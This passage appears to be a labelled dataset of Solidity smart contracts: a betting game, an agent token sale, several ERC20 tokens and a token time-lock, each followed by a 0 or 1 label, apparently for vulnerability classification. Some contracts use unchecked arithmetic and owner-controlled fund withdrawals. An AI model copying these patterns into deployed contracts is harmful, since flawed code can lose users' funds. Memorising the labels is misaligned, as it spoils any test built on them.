if(gameResult == 3){
unpayPooling = winPooling;
}else if(gameResult == 1){
unpayPooling = losePooling;
}else if(gameResult == 0){
unpayPooling = samePooling;
}
}
event OnNewGame(uint indexed _gameID, address _banker , uint _betLastTime, uint _gameBeginTime, uint256 _gameMinBetAmount, uint256 _gameMaxBetAmount, uint _eventTime, uint eventId);
event OnGameInfo(uint indexed _gameID, string _team1, string _team2, uint _loseOdd, uint _winOdd, uint _sameOdd, uint _eventTime, uint eventId);
function newGame(string _team1, string _team2, uint _loseOdd, uint _winOdd, uint _sameOdd, uint _betLastTime, uint256 _gameMinBetAmount, uint256 _gameMaxBetAmount) public onlyBanker returns(bool _result){
require(bytes(_team1).length < 100);
require(bytes(_team2).length < 100);
require(gameOver);
require(now > bankerBeginTime);
require(_gameMinBetAmount >= 10000000);
require(_gameMaxBetAmount >= _gameMinBetAmount);
require(now < _betLastTime);
require(_betLastTime+ 1 days < bankerEndTime);
_result = _newGame(_team1, _team2, _loseOdd, _winOdd, _sameOdd, _betLastTime, _gameMinBetAmount, _gameMaxBetAmount);
}
function _newGame(string _team1, string _team2, uint _loseOdd, uint _winOdd, uint _sameOdd, uint _betLastTime, uint256 _gameMinBetAmount, uint256 _gameMaxBetAmount) private returns(bool _result){
_result = false;
gameID = gameID.add(1);
team1 = _team1;
team2 = _team2;
loseOdd = _loseOdd;
winOdd = _winOdd;
sameOdd = _sameOdd;
emit OnGameInfo(gameID, team1, team2, loseOdd, winOdd, sameOdd, now, getEventId());
betLastTime = _betLastTime;
gameBeginTime = now;
gameMinBetAmount = _gameMinBetAmount;
gameMaxBetAmount = _gameMaxBetAmount;
emit OnNewGame(gameID, msg.sender, betLastTime, gameBeginTime, gameMinBetAmount, gameMaxBetAmount, now, getEventId());
gameBeginPlayNo = playNo;
gameResult = 9;
gameOver = false;
unpayPooling = 0;
losePooling = 0;
winPooling = 0;
samePooling = 0;
_result = true;
}
event OnSetOdd(uint indexed _gameID, uint _winOdd, uint _loseOdd, uint _sameOdd, uint _eventTime, uint eventId);
function setOdd(uint _winOdd, uint _loseOdd, uint _sameOdd) onlyBanker public{
winOdd = _winOdd;
loseOdd = _loseOdd;
sameOdd = _sameOdd;
emit OnSetOdd(gameID, winOdd, loseOdd, sameOdd, now, getEventId());
}
struct betInfo
{
uint Odd;
address Player;
uint BetNum;
uint256 BetAmount;
uint loseToken;
bool IsReturnAward;
}
mapping (uint => betInfo) public playerBetInfoOf;
event OnPlay(uint indexed _gameID, string _gameName, address _player, uint odd, string _team1, uint _betNum, uint256 _betAmount, uint _playNo, uint _eventTime, uint eventId);
function play(uint _betNum, uint256 _betAmount) public returns(bool _result){
_result = _play(_betNum, _betAmount);
}
function _play(uint _betNum, uint256 _betAmount) private returns(bool _result){
_result = false;
require(!gameOver);
require(_betNum == loseNum || _betNum == winNum || _betNum == sameNum);
require(msg.sender != currentBanker);
require(now < betLastTime);
require(_betAmount >= gameMinBetAmount);
if (_betAmount > gameMaxBetAmount){
_betAmount = gameMaxBetAmount;
}
_betAmount = _betAmount / 100 * 100;
if(userTokenOf[msg.sender] < _betAmount){
depositToken(_betAmount.sub(userTokenOf[msg.sender]));
}
uint BankerAmount = _betAmount.mul(bankerDepositPer).div(100);
require(userTokenOf[msg.sender] >= _betAmount);
require(userTokenOf[currentBanker] >= BankerAmount);
uint _odd = seekOdd(_betNum,_betAmount);
betInfo memory bi= betInfo({
Odd :_odd,
Player : msg.sender,
BetNum : _betNum,
BetAmount : _betAmount,
loseToken : 0,
IsReturnAward: false
});
playerBetInfoOf[playNo] = bi;
userTokenOf[msg.sender] = userTokenOf[msg.sender].sub(_betAmount);
userTokenOf[this] = userTokenOf[this].add(_betAmount);
userTokenOf[currentBanker] = userTokenOf[currentBanker].sub(BankerAmount);
userTokenOf[this] = userTokenOf[this].add(BankerAmount);
emit OnPlay(gameID, gameName, msg.sender, _odd, team1, _betNum, _betAmount, playNo, now, getEventId());
playNo = playNo.add(1);
if(now < donGameGiftLineTime){
DonQuixoteToken.logPlaying(msg.sender);
}
_result = true;
}
function seekOdd(uint _betNum, uint _betAmount) private returns (uint _odd){
uint allAmount = 0;
if(_betNum == 3){
allAmount = _betAmount.mul(winOdd).div(100);
winPooling = winPooling.add(allAmount);
_odd = winOdd;
}else if(_betNum == 1){
allAmount = _betAmount.mul(loseOdd).div(100);
losePooling = losePooling.add(allAmount);
_odd = loseOdd;
}else if(_betNum == 0){
allAmount = _betAmount.mul(sameOdd).div(100);
samePooling = samePooling.add(allAmount);
_odd = sameOdd;
}
}
event OnOpenGameResult(uint indexed _gameID,uint indexed _palyNo, address _player, uint _gameResult, uint _eventTime, uint eventId);
function openGameLoop() public returns(bool _result){
lock();
_result = _openGameLoop();
unLock();
}
function _openGameLoop() private returns(bool _result){
_result = false;
_checkOpenGame();
uint256 allAmount = 0;
for(uint i = 0; nextRewardPlayNo < playNo && i < currentRewardNum; i++ ){
betInfo storage p = playerBetInfoOf[nextRewardPlayNo];
if(!p.IsReturnAward){
_cashPrize(p, allAmount,nextRewardPlayNo);
}
nextRewardPlayNo = nextRewardPlayNo.add(1);
}
if(unpayPooling == 0 && _canSetGameOver()){
userTokenOf[currentBanker] = userTokenOf[currentBanker].add(userTokenOf[this]);
userTokenOf[this] = 0;
gameOver = true;
}
_result = true;
}
function openGamePlayNo(uint _playNo) public returns(bool _result){
lock();
_result = _openGamePlayNo(_playNo);
unLock();
}
function _openGamePlayNo(uint _playNo) private returns(bool _result){
_result = false;
require(_playNo >= gameBeginPlayNo && _playNo < playNo);
_checkOpenGame();
betInfo storage p = playerBetInfoOf[_playNo];
require(!p.IsReturnAward);
uint256 allAmount = 0;
_cashPrize(p, allAmount,_playNo);
if(unpayPooling == 0 && _canSetGameOver()){
userTokenOf[currentBanker] = userTokenOf[currentBanker].add(userTokenOf[this]);
userTokenOf[this] = 0;
gameOver = true;
}
_result = true;
}
function openGamePlayNos(uint[] _playNos) public returns(bool _result){
lock();
_result = _openGamePlayNos(_playNos);
unLock();
}
function _openGamePlayNos(uint[] _playNos) private returns(bool _result){
_result = false;
_checkOpenGame();
uint256 allAmount = 0;
for (uint _index = 0; _index < _playNos.length; _index++) {
uint _playNo = _playNos[_index];
if(_playNo >= gameBeginPlayNo && _playNo < playNo){
betInfo storage p = playerBetInfoOf[_playNo];
if(!p.IsReturnAward){
_cashPrize(p, allAmount,_playNo);
}
}
}
if(unpayPooling == 0 && _canSetGameOver()){
userTokenOf[currentBanker] = userTokenOf[currentBanker].add(userTokenOf[this]);
userTokenOf[this] = 0;
gameOver = true;
}
_result = true;
}
function openGameRange(uint _beginPlayNo, uint _endPlayNo) public returns(bool _result){
lock();
_result = _openGameRange(_beginPlayNo, _endPlayNo);
unLock();
}
function _openGameRange(uint _beginPlayNo, uint _endPlayNo) private returns(bool _result){
_result = false;
require(_beginPlayNo < _endPlayNo);
require(_beginPlayNo >= gameBeginPlayNo && _endPlayNo < playNo);
_checkOpenGame();
uint256 allAmount = 0;
for (uint _indexPlayNo = _beginPlayNo; _indexPlayNo <= _endPlayNo; _indexPlayNo++) {
betInfo storage p = playerBetInfoOf[_indexPlayNo];
if(!p.IsReturnAward){
_cashPrize(p, allAmount,_indexPlayNo);
}
}
if(unpayPooling == 0 && _canSetGameOver()){
userTokenOf[currentBanker] = userTokenOf[currentBanker].add(userTokenOf[this]);
userTokenOf[this] = 0;
gameOver = true;
}
_result = true;
}
function _checkOpenGame() private{
require(!gameOver);
require( gameResult == loseNum || gameResult == winNum || gameResult == sameNum);
require(betLastTime + 90 minutes < now);
if(unpayPooling > userTokenOf[this]){
uint shortOf = unpayPooling.sub(userTokenOf[this]);
if(shortOf > userTokenOf[currentBanker]){
shortOf = userTokenOf[currentBanker];
}
userTokenOf[currentBanker] = userTokenOf[currentBanker].sub(shortOf);
userTokenOf[this] = userTokenOf[this].add(shortOf);
}
}
function _cashPrize(betInfo storage _p, uint256 _allAmount,uint _playNo) private{
if(_p.BetNum == gameResult){
_allAmount = _p.BetAmount.mul(_p.Odd).div(100);
_allAmount = _allAmount.sub(_p.loseToken);
if(userTokenOf[this] >= _allAmount){
_p.IsReturnAward = true;
userTokenOf[_p.Player] = userTokenOf[_p.Player].add(_allAmount);
userTokenOf[this] = userTokenOf[this].sub(_allAmount);
unpayPooling = unpayPooling.sub(_allAmount);
emit OnOpenGameResult(gameID,_playNo, msg.sender, gameResult, now, getEventId());
if(_p.BetNum == 3){
winPooling = winPooling.sub(_allAmount);
}else if(_p.BetNum == 1){
losePooling = losePooling.sub(_allAmount);
}else if(_p.BetNum == 0){
samePooling = samePooling.sub(_allAmount);
}
}else{
_p.loseToken = _p.loseToken.add(userTokenOf[this]);
userTokenOf[_p.Player] = userTokenOf[_p.Player].add(userTokenOf[this]);
unpayPooling = unpayPooling.sub(userTokenOf[this]);
if(_p.BetNum == 3){
winPooling = winPooling.sub(userTokenOf[this]);
}else if(_p.BetNum == 1){
losePooling = losePooling.sub(userTokenOf[this]);
}else if(_p.BetNum == 0){
samePooling = samePooling.sub(userTokenOf[this]);
}
userTokenOf[this] = 0;
}
}else{
_p.IsReturnAward = true;
emit OnOpenGameResult(gameID,_playNo, msg.sender, gameResult, now, getEventId());
_allAmount = _p.BetAmount.mul(_p.Odd).div(100);
if(_p.BetNum == 3){
winPooling = winPooling.sub(_allAmount);
}else if(_p.BetNum == 1){
losePooling = losePooling.sub(_allAmount);
}else if(_p.BetNum == 0){
samePooling = samePooling.sub(_allAmount);
}
if(now < donGameGiftLineTime){
DonQuixoteToken.sendGameGift(_p.Player);
}
}
}
function _canSetGameOver() private view returns(bool){
return winPooling<100 && losePooling<100 && samePooling<100;
}
function _withdrawToken(address _from, uint256 _amount) internal {
require(_from != 0x0);
require(_from != currentBanker || gameOver);
if(_amount > 0 && _amount <= userTokenOf[_from]){
userTokenOf[_from] = userTokenOf[_from].sub(_amount);
DonQuixoteToken.transfer(_from, _amount);
}
}
function transEther() public onlyOwner()
{
msg.sender.transfer(address(this).balance);
}
function () public payable {
}
} | 0 |
pragma solidity ^0.4.24;
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract MinimalTokenInterface {
function balanceOf(address tokenOwner) public constant returns (uint balance);
function transfer(address to, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
function decimals() public returns (uint8);
}
contract TokenPriveProviderInterface {
function tokenPrice() public constant returns (uint);
}
contract SNcoin_AgentsSale is Owned {
MinimalTokenInterface public tokenContract;
address public spenderAddress;
address public vaultAddress;
bool public fundingEnabled;
uint public totalCollected;
TokenPriveProviderInterface public tokenPriceProvider;
mapping(address => address) agents;
constructor(address _tokenAddress, address _spenderAddress, address _vaultAddress, bool _fundingEnabled, address _tokenPriceProvider) public {
require (_tokenAddress != 0);
require (_spenderAddress != 0);
require (_vaultAddress != 0);
require (_tokenPriceProvider != 0);
tokenContract = MinimalTokenInterface(_tokenAddress);
spenderAddress = _spenderAddress;
vaultAddress = _vaultAddress;
fundingEnabled = _fundingEnabled;
tokenPriceProvider = TokenPriveProviderInterface(_tokenPriceProvider);
}
function setSpenderAddress(address _spenderAddress) public onlyOwner {
require (_spenderAddress != 0);
spenderAddress = _spenderAddress;
return;
}
function setVaultAddress(address _vaultAddress) public onlyOwner {
require (_vaultAddress != 0);
vaultAddress = _vaultAddress;
return;
}
function setFundingEnabled(bool _fundingEnabled) public onlyOwner {
fundingEnabled = _fundingEnabled;
return;
}
function updateTokenPriceProvider(address _newTokenPriceProvider) public onlyOwner {
require(_newTokenPriceProvider != 0);
tokenPriceProvider = TokenPriveProviderInterface(_newTokenPriceProvider);
require(tokenPriceProvider.tokenPrice() > 10**9);
return;
}
function setAgentAddress(address _agentSigner, address _agentAddress) public onlyOwner {
require (_agentSigner != 0);
agents[_agentSigner] = _agentAddress;
return;
}
function buy(uint _discount, bytes _promocode) public payable {
require (fundingEnabled);
uint tokenPrice = tokenPriceProvider.tokenPrice();
require (tokenPrice > 10**9);
require (msg.value >= tokenPrice);
require (_discount <= 20);
require (_promocode.length == 97);
bytes32 r;
bytes32 s;
uint8 v;
bytes32 h;
assembly {
r := mload(add(_promocode, 32))
s := mload(add(_promocode, 64))
v := and(mload(add(_promocode, 65)), 255)
h := mload(add(_promocode, 97))
}
if (v < 27) {
v += 27;
}
require ((v == 27) || (v == 28));
address agentSigner = ecrecover(h, v, r, s);
require (agentSigner != 0);
require (agents[agentSigner] != 0);
bytes32 check_h = keccak256(abi.encodePacked(_discount, msg.sender));
require (check_h == h);
uint remVal = ((20 - _discount)*msg.value)/100;
totalCollected += msg.value - remVal;
uint discountedPrice = ((100 - _discount)*tokenPrice)/100;
uint tokens = (msg.value * 10**uint256(tokenContract.decimals())) / discountedPrice;
require (tokenContract.transferFrom(spenderAddress, msg.sender, tokens));
vaultAddress.transfer(msg.value - remVal);
agents[agentSigner].transfer(remVal);
return;
}
function () public payable {
revert();
}
function claimTokens(address _token) public onlyOwner {
if (_token == 0x0) {
owner.transfer(address(this).balance);
return;
}
MinimalTokenInterface token = MinimalTokenInterface(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
emit ClaimedTokens(_token, owner, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
} | 0 |
pragma solidity ^0.4.16;
contract FatoToken {
string public constant name = "Father Of All Coins";
string public constant symbol = "FATO";
uint8 public decimals = 0;
uint256 _totalSupply = 1000000000;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function FatoToken (
) public {
balanceOf[msg.sender] = _totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
} | 1 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function safeApprove(address _spender, uint256 _currentValue, uint256 _value) public returns (bool success) {
if (allowed[msg.sender][_spender] == _currentValue) {
return approve(_spender, _value);
}
return false;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract SUAPPToken is StandardToken, Ownable, CanReclaimToken {
string public name = "SUAPP";
string public symbol = "SUP";
uint8 public decimals = 8;
uint256 public INITIAL_SUPPLY = 100 * (10**9) * 10**8;
function SUAPPToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 1 |
pragma solidity ^0.4.24;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(uint256 initialSupply,string tokenName,string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract ChangeableERC20Token is TokenERC20,owned {
constructor(uint256 initialSupply,string tokenName,string tokenSymbol) TokenERC20(initialSupply,tokenName,tokenSymbol) public{
}
function changeName(string newName) public onlyOwner {
name = newName;
}
function ChangeSymbol(string newSymbol) public onlyOwner{
symbol = newSymbol;
}
}
contract MinerCalculationToken is ChangeableERC20Token{
constructor() ChangeableERC20Token(1000000000,"Miner Calculation Token","MCT") public {
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30153600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x6f9DbaBAd52679D905346F7c53EF93248Cd0524A;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract LSTC is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "LSTC";
name = "Lake Solar Token Coin";
decimals = 2;
_totalSupply = 1000000000;
balances[0x1CDcD5ba05D8f4823cdf7921ebc8e932a5Cb0517] = _totalSupply;
emit Transfer(address(0), 0x1CDcD5ba05D8f4823cdf7921ebc8e932a5Cb0517, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken, Ownable {
using SafeMath for uint256;
event Burn(address indexed from, uint256 value);
function burn(uint256 _value) public onlyOwner returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
}
contract CashTron is BurnableToken {
using SafeMath for uint256;
string public constant name = "CashTron";
string public constant symbol = "VNDC";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 500000000000;
function CashTron() public {
totalSupply = INITIAL_SUPPLY.mul(10 ** uint256(decimals));
